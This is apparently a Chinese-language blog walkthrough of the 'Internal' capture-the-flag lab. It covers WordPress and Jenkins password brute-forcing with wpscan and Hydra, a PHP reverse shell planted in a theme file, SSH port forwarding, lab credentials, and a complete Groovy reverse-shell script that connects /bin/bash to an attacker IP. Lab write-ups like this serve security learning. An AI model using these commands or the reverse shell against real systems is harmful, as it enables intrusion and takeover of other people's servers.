SugarCrash!

记录学习,想找个师傅带带我

0%

Internal

Penetration Testing Challenge

Nmap


访问80

扫目录

1
gobuster dir -u http://10.10.8.207 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

1
2
echo 10.10.8.207 internal.thm > /etc/hosts
cat /etc/hosts

wpscan

wpscan使用教程

1
2
3
4
5
6
7
8
9
10
11
wpscan --update   更新漏洞库
https://wpscan.com/register 申请 api-token
wpscan --url http://192.168.15.176/wordpress --api-token api-key
wpscan --url http://192.168.15.176/wordpress
wpscan --url http://192.168.15.176/wordpress --enumerate t 扫描主题
wpscan --url http://192.168.15.176/wordpress --enumerate vt 扫描主题漏洞
wpscan --url http://192.168.15.176/wordpress --enumerate p 扫描安装的插件
wpscan --url http://192.168.15.176/wordpress --enumerate vp 扫描安装插件的漏洞
wpscan --url http://192.168.15.176/wordpress --enumerate u 枚举用户id
wpscan --url http://xxxx --wordlist 密码字典 --username 用户名或者密码字典
wpscan --url http://192.168.15.176/wordpress --enmuerate vp,vt,tt,u 命令集合
1
wpscan --url http://internal.thm/blog -eu

扫描出一个admin用户用字典尝试爆破

1
wpscan --url http://internal.thm/blog -U admin -P /usr/share/wordlists/rockyou.txt

得到密码my2boys
登录到后台

模板处开头添加一个reverse_shell
![[php-reverse-shell.php]]

访问:http://internal.thm/blog/wp-content/themes/twentyseventeen/404.php
得到一个shell


在opt发现一个wp-save.txt存放着一个账密,尝试切换这个用户

1
aubreanna: bubb13guM!@#123

登录成功找到第一个flag 同时知道了Jenkins在内网的8080端口

端口转发

在kali本机上执行

1
ssh -L 6767:172.17.0.2:8080 aubreanna@10.10.8.207

访问http://localhost:6767

1
2
3
4
5
admin admin
admin password都不对
ssh登录的密码也不对
用九头蛇跑admin的密码

Hydra

最终构成语句

1
hydra -l admin -P /usr/share/wordlists/rockyou.txt -s 6767 127.0.0.1 http-post-form '/j_acegi_security_check:j_username=admin&j_password=^PASS^&from=%2F&Submit=Sign+in:Invalid username or password'

得到密码

一样的写Groovy脚本反弹shell

1
2
3
4
5
6
Thread.start {  
String host="10.13.40.87";
int port=4242;
String cmd="/bin/bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
}


在note.txt找到root的登录账号和密码